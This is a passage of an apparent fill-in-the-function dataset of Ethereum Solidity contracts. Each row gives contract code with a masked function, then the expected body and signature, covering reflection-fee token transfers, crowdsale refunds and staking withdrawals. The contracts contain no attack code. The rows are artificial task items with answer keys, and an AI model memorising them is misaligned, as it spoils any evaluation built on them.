function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
<FILL_FUNCTION>
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 1 && _teamFee == 1) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 1;
_teamFee = 1;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and team fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_MBCWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 20, 'taxFee should be in 1 - 20');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 20, 'teamFee should be in 1 - 20');
_teamFee = teamFee;
}
function _setMBCWallet(address payable MBCWalletAddress) external onlyOwner() {
_MBCWalletAddress = MBCWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} |
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
| function excludeAccount(address account) external onlyOwner() | function excludeAccount(address account) external onlyOwner() |
81251 | RefundablePostDeliveryCrowdsale | withdrawTokens | contract RefundablePostDeliveryCrowdsale is RefundableCrowdsale, PostDeliveryCrowdsale {
function withdrawTokens(address beneficiary) public {<FILL_FUNCTION_BODY> }
} | contract RefundablePostDeliveryCrowdsale is RefundableCrowdsale, PostDeliveryCrowdsale {
<FILL_FUNCTION>
} |
require(finalized(), "RefundablePostDeliveryCrowdsale: not finalized");
require(goalReached(), "RefundablePostDeliveryCrowdsale: goal not reached");
super.withdrawTokens(beneficiary);
| function withdrawTokens(address beneficiary) public | function withdrawTokens(address beneficiary) public |
71898 | Crowdsale | refund | contract Crowdsale is Ownable {
using SafeMath for uint256;
using SafeERC20 for ATHLETICOToken;
event LogStateSwitch(State newState);
event LogRefunding(address indexed to, uint256 amount);
mapping(address => uint) public crowdsaleBalances;
uint256 public softCap = 250 * 1 ether;
address internal myAddress = this;
ATHLETICOToken public token = new ATHLETICOToken(myAddress);
uint64 public crowdSaleStartTime;
uint64 public crowdSaleEndTime = 1559347200; // 01.06.2019 0:00:00
uint256 internal minValue = 0.005 ether;
//Addresses for store tokens
TeamAddress public teamAddress = new TeamAddress();
BountyAddress public bountyAddress = new BountyAddress();
// How many token units a buyer gets per wei.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
event LogWithdraw(
address indexed from,
address indexed to,
uint256 amount
);
event LogTokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
// Create state of contract
enum State {
Init,
CrowdSale,
Refunding,
WorkTime
}
State public currentState = State.Init;
modifier onlyInState(State state){
require(state==currentState);
_;
}
constructor() public {
uint256 totalTokens = token.INITIAL_SUPPLY();
/**
* @dev Inicial distributing tokens to special adresses
* TeamAddress - 10%
* BountyAddress - 5%
*/
_deliverTokens(teamAddress, totalTokens.div(10));
_deliverTokens(bountyAddress, totalTokens.div(20));
rate = 20000;
setState(State.CrowdSale);
crowdSaleStartTime = uint64(now);
}
/**
* @dev public function finishing crowdsale if enddate is coming or softcap is passed
*/
function finishCrowdSale() public onlyInState(State.CrowdSale) {
require(now >= crowdSaleEndTime || myAddress.balance >= softCap, "Too early");
if(myAddress.balance >= softCap) {
setState(State.WorkTime);
token.setICOover();
} else {
setState(State.Refunding);
}
}
/**
* @dev fallback function
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev token purchase
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
crowdsaleBalances[_beneficiary] = crowdsaleBalances[_beneficiary].add(weiAmount);
emit LogTokensPurchased(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
}
function setState(State _state) internal {
currentState = _state;
emit LogStateSwitch(_state);
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pauseCrowdsale() public onlyOwner {
token.pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpauseCrowdsale() public onlyOwner {
token.unpause();
}
/**
* @dev called by the DAO to set new rate
*/
function setRate(uint256 _newRate) public onlyDAO {
rate = _newRate;
}
/**
* @dev function set kyc bool to true
* @param _investor The investor who passed the procedure KYC
*/
function setKYCpassed(address _investor) public onlyDAO returns(bool){
token.kycPass(_investor);
return true;
}
/**
* @dev function set kyc bool to false
* @param _investor The investor who not passed the procedure KYC after passing
*/
function setKYCNotPassed(address _investor) public onlyDAO returns(bool){
token.kycNotPass(_investor);
return true;
}
/**
* @dev the function tranfer tokens from TeamAddress
*/
function transferTokensFromTeamAddress(address _investor, uint256 _value) public onlyDAO returns(bool){
token.transferTokensFromSpecialAddress(address(teamAddress), _investor, _value);
return true;
}
/**
* @dev the function tranfer tokens from BountyAddress
*/
function transferTokensFromBountyAddress(address _investor, uint256 _value) public onlyDAO returns(bool){
token.transferTokensFromSpecialAddress(address(bountyAddress), _investor, _value);
return true;
}
/**
* @dev Validation of an incoming purchase. internal function.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view{
require(_beneficiary != address(0),"Invalid address");
require(_weiAmount >= minValue,"Min amount is 0.005 ether");
require(currentState != State.Refunding, "Only for CrowdSale and Work stage.");
}
/**
* @dev internal function
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Function transfer token to new investors
* Access restricted DAO
*/
function transferTokens(address _newInvestor, uint256 _tokenAmount) public onlyDAO {
_deliverTokens(_newInvestor, _tokenAmount);
}
/**
* @dev Function mint tokens to winners or prize funds contracts
* Access restricted DAO
*/
function mintTokensToWinners(address _address, uint256 _tokenAmount) public onlyDAO {
require(currentState == State.WorkTime, "CrowdSale is not finished yet. Access denied.");
token.mint(_address, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev this function is ether converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonus = 0;
uint256 resultAmount = _weiAmount;
/**
* ICO bonus UnisTimeStamp
* Start date End date
* StartTime -01.01.2019 - 100% 1543622400 1546300800
* 01.01.2019-01.02.2019 - 50% 1546300800 1548979200
* 01.02.2019-01.03.2019 - 25% 1548979200 1551398400
*/
if (now >= crowdSaleStartTime && now < 1546300800) {
bonus = 100;
}
if (now >= 1546300800 && now < 1548979200) {
bonus = 50;
}
if (now >= 1548979200 && now < 1551398400) {
bonus = 25;
}
if (bonus > 0) {
resultAmount += _weiAmount.mul(bonus).div(100);
}
return resultAmount.mul(rate);
}
/**
* @dev function returns funds to investors in case of project failure.
*/
function refund() public payable{<FILL_FUNCTION_BODY> }
/**
* @dev function of withdrawal of funds for the development of the project if successful
*/
function withdrawFunds (address _to, uint256 _value) public onlyDAO {
require(currentState == State.WorkTime, "CrowdSale is not finished yet. Access denied.");
require (myAddress.balance >= _value,"Value is more than balance");
require(_to != address(0),"Invalid address");
_to.transfer(_value);
emit LogWithdraw(msg.sender, _to, _value);
}
} | contract Crowdsale is Ownable {
using SafeMath for uint256;
using SafeERC20 for ATHLETICOToken;
event LogStateSwitch(State newState);
event LogRefunding(address indexed to, uint256 amount);
mapping(address => uint) public crowdsaleBalances;
uint256 public softCap = 250 * 1 ether;
address internal myAddress = this;
ATHLETICOToken public token = new ATHLETICOToken(myAddress);
uint64 public crowdSaleStartTime;
uint64 public crowdSaleEndTime = 1559347200; // 01.06.2019 0:00:00
uint256 internal minValue = 0.005 ether;
//Addresses for store tokens
TeamAddress public teamAddress = new TeamAddress();
BountyAddress public bountyAddress = new BountyAddress();
// How many token units a buyer gets per wei.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
event LogWithdraw(
address indexed from,
address indexed to,
uint256 amount
);
event LogTokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
// Create state of contract
enum State {
Init,
CrowdSale,
Refunding,
WorkTime
}
State public currentState = State.Init;
modifier onlyInState(State state){
require(state==currentState);
_;
}
constructor() public {
uint256 totalTokens = token.INITIAL_SUPPLY();
/**
* @dev Inicial distributing tokens to special adresses
* TeamAddress - 10%
* BountyAddress - 5%
*/
_deliverTokens(teamAddress, totalTokens.div(10));
_deliverTokens(bountyAddress, totalTokens.div(20));
rate = 20000;
setState(State.CrowdSale);
crowdSaleStartTime = uint64(now);
}
/**
* @dev public function finishing crowdsale if enddate is coming or softcap is passed
*/
function finishCrowdSale() public onlyInState(State.CrowdSale) {
require(now >= crowdSaleEndTime || myAddress.balance >= softCap, "Too early");
if(myAddress.balance >= softCap) {
setState(State.WorkTime);
token.setICOover();
} else {
setState(State.Refunding);
}
}
/**
* @dev fallback function
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev token purchase
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
crowdsaleBalances[_beneficiary] = crowdsaleBalances[_beneficiary].add(weiAmount);
emit LogTokensPurchased(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
}
function setState(State _state) internal {
currentState = _state;
emit LogStateSwitch(_state);
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pauseCrowdsale() public onlyOwner {
token.pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpauseCrowdsale() public onlyOwner {
token.unpause();
}
/**
* @dev called by the DAO to set new rate
*/
function setRate(uint256 _newRate) public onlyDAO {
rate = _newRate;
}
/**
* @dev function set kyc bool to true
* @param _investor The investor who passed the procedure KYC
*/
function setKYCpassed(address _investor) public onlyDAO returns(bool){
token.kycPass(_investor);
return true;
}
/**
* @dev function set kyc bool to false
* @param _investor The investor who not passed the procedure KYC after passing
*/
function setKYCNotPassed(address _investor) public onlyDAO returns(bool){
token.kycNotPass(_investor);
return true;
}
/**
* @dev the function tranfer tokens from TeamAddress
*/
function transferTokensFromTeamAddress(address _investor, uint256 _value) public onlyDAO returns(bool){
token.transferTokensFromSpecialAddress(address(teamAddress), _investor, _value);
return true;
}
/**
* @dev the function tranfer tokens from BountyAddress
*/
function transferTokensFromBountyAddress(address _investor, uint256 _value) public onlyDAO returns(bool){
token.transferTokensFromSpecialAddress(address(bountyAddress), _investor, _value);
return true;
}
/**
* @dev Validation of an incoming purchase. internal function.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view{
require(_beneficiary != address(0),"Invalid address");
require(_weiAmount >= minValue,"Min amount is 0.005 ether");
require(currentState != State.Refunding, "Only for CrowdSale and Work stage.");
}
/**
* @dev internal function
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Function transfer token to new investors
* Access restricted DAO
*/
function transferTokens(address _newInvestor, uint256 _tokenAmount) public onlyDAO {
_deliverTokens(_newInvestor, _tokenAmount);
}
/**
* @dev Function mint tokens to winners or prize funds contracts
* Access restricted DAO
*/
function mintTokensToWinners(address _address, uint256 _tokenAmount) public onlyDAO {
require(currentState == State.WorkTime, "CrowdSale is not finished yet. Access denied.");
token.mint(_address, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev this function is ether converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonus = 0;
uint256 resultAmount = _weiAmount;
/**
* ICO bonus UnisTimeStamp
* Start date End date
* StartTime -01.01.2019 - 100% 1543622400 1546300800
* 01.01.2019-01.02.2019 - 50% 1546300800 1548979200
* 01.02.2019-01.03.2019 - 25% 1548979200 1551398400
*/
if (now >= crowdSaleStartTime && now < 1546300800) {
bonus = 100;
}
if (now >= 1546300800 && now < 1548979200) {
bonus = 50;
}
if (now >= 1548979200 && now < 1551398400) {
bonus = 25;
}
if (bonus > 0) {
resultAmount += _weiAmount.mul(bonus).div(100);
}
return resultAmount.mul(rate);
}
<FILL_FUNCTION>
/**
* @dev function of withdrawal of funds for the development of the project if successful
*/
function withdrawFunds (address _to, uint256 _value) public onlyDAO {
require(currentState == State.WorkTime, "CrowdSale is not finished yet. Access denied.");
require (myAddress.balance >= _value,"Value is more than balance");
require(_to != address(0),"Invalid address");
_to.transfer(_value);
emit LogWithdraw(msg.sender, _to, _value);
}
} |
require(currentState == State.Refunding, "Only for Refunding stage.");
// refund ether to investors
uint value = crowdsaleBalances[msg.sender];
crowdsaleBalances[msg.sender] = 0;
msg.sender.transfer(value);
emit LogRefunding(msg.sender, value);
| function refund() public payable | /**
* @dev function returns funds to investors in case of project failure.
*/
function refund() public payable |
29890 | TimedCrowdsale | _preValidatePurchase | contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {<FILL_FUNCTION_BODY> }
} | contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
<FILL_FUNCTION>
} |
super._preValidatePurchase(_beneficiary, _weiAmount);
| function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen | function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen |
2135 | distribution | withdraw | contract distribution {
address constant _ibff = 0xb347132eFf18a3f63426f4988ef626d2CbE274F5;
address constant _ibeurlp = 0xa2D81bEdf22201A77044CDF3Ab4d9dC1FfBc391B;
address constant _veibff = 0x4D0518C9136025903751209dDDdf6C67067357b1;
address constant _vedist = 0x83893c4A42F8654c2dd4FF7b4a7cd0e33ae8C859;
uint constant DURATION = 7 days;
uint constant PRECISION = 10 ** 18;
uint constant MAXTIME = 4 * 365 * 86400;
uint rewardRate;
uint periodFinish;
uint lastUpdateTime;
uint rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint public totalSupply;
mapping(address => uint) public balanceOf;
function lastTimeRewardApplicable() public view returns (uint) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint) {
if (totalSupply == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + ((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * PRECISION / totalSupply);
}
function earned(address account) public view returns (uint) {
return (balanceOf[account] * (rewardPerToken() - userRewardPerTokenPaid[account]) / PRECISION) + rewards[account];
}
function getRewardForDuration() external view returns (uint) {
return rewardRate * DURATION;
}
function deposit(uint amount) external update(msg.sender) {
totalSupply += amount;
balanceOf[msg.sender] += amount;
safeTransferFrom(_ibeurlp, amount);
}
function withdraw(uint amount) public update(msg.sender) {<FILL_FUNCTION_BODY> }
function getReward() public update(msg.sender) {
uint _reward = rewards[msg.sender];
uint _user_lock = ve(_veibff).locked__end(msg.sender);
uint _adj = Math.min(_reward * _user_lock / (block.timestamp + MAXTIME), _reward);
if (_adj > 0) {
rewards[msg.sender] = 0;
erc20(_ibff).approve(_veibff, _adj);
safeTransfer(_ibff, msg.sender, _adj);
ve(_veibff).deposit_for(msg.sender, _adj);
safeTransfer(_ibff, _vedist, _reward - _adj);
}
}
function exit() external {
withdraw(balanceOf[msg.sender]);
getReward();
}
function notify(uint amount) external update(address(0)) {
safeTransferFrom(_ibff, amount);
if (block.timestamp >= periodFinish) {
rewardRate = amount / DURATION;
} else {
uint _remaining = periodFinish - block.timestamp;
uint _leftover = _remaining * rewardRate;
rewardRate = (amount + _leftover) / DURATION;
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp + DURATION;
}
modifier update(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function safeTransferFrom(address token, uint256 value) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, msg.sender, address(this), value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
} | contract distribution {
address constant _ibff = 0xb347132eFf18a3f63426f4988ef626d2CbE274F5;
address constant _ibeurlp = 0xa2D81bEdf22201A77044CDF3Ab4d9dC1FfBc391B;
address constant _veibff = 0x4D0518C9136025903751209dDDdf6C67067357b1;
address constant _vedist = 0x83893c4A42F8654c2dd4FF7b4a7cd0e33ae8C859;
uint constant DURATION = 7 days;
uint constant PRECISION = 10 ** 18;
uint constant MAXTIME = 4 * 365 * 86400;
uint rewardRate;
uint periodFinish;
uint lastUpdateTime;
uint rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint public totalSupply;
mapping(address => uint) public balanceOf;
function lastTimeRewardApplicable() public view returns (uint) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint) {
if (totalSupply == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + ((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * PRECISION / totalSupply);
}
function earned(address account) public view returns (uint) {
return (balanceOf[account] * (rewardPerToken() - userRewardPerTokenPaid[account]) / PRECISION) + rewards[account];
}
function getRewardForDuration() external view returns (uint) {
return rewardRate * DURATION;
}
function deposit(uint amount) external update(msg.sender) {
totalSupply += amount;
balanceOf[msg.sender] += amount;
safeTransferFrom(_ibeurlp, amount);
}
<FILL_FUNCTION>
function getReward() public update(msg.sender) {
uint _reward = rewards[msg.sender];
uint _user_lock = ve(_veibff).locked__end(msg.sender);
uint _adj = Math.min(_reward * _user_lock / (block.timestamp + MAXTIME), _reward);
if (_adj > 0) {
rewards[msg.sender] = 0;
erc20(_ibff).approve(_veibff, _adj);
safeTransfer(_ibff, msg.sender, _adj);
ve(_veibff).deposit_for(msg.sender, _adj);
safeTransfer(_ibff, _vedist, _reward - _adj);
}
}
function exit() external {
withdraw(balanceOf[msg.sender]);
getReward();
}
function notify(uint amount) external update(address(0)) {
safeTransferFrom(_ibff, amount);
if (block.timestamp >= periodFinish) {
rewardRate = amount / DURATION;
} else {
uint _remaining = periodFinish - block.timestamp;
uint _leftover = _remaining * rewardRate;
rewardRate = (amount + _leftover) / DURATION;
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp + DURATION;
}
modifier update(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function safeTransferFrom(address token, uint256 value) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, msg.sender, address(this), value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
} |
totalSupply -= amount;
balanceOf[msg.sender] -= amount;
safeTransfer(_ibeurlp, msg.sender, amount);
| function withdraw(uint amount) public update(msg.sender) | function withdraw(uint amount) public update(msg.sender) |
3628 | TheDegenApe | _transfer | contract TheDegenApe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 36000000000 * 10**8;
uint256 private _maxWallet= 36000000000 * 10**8;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "The Degen Ape";
string private constant _symbol = "DAPE";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
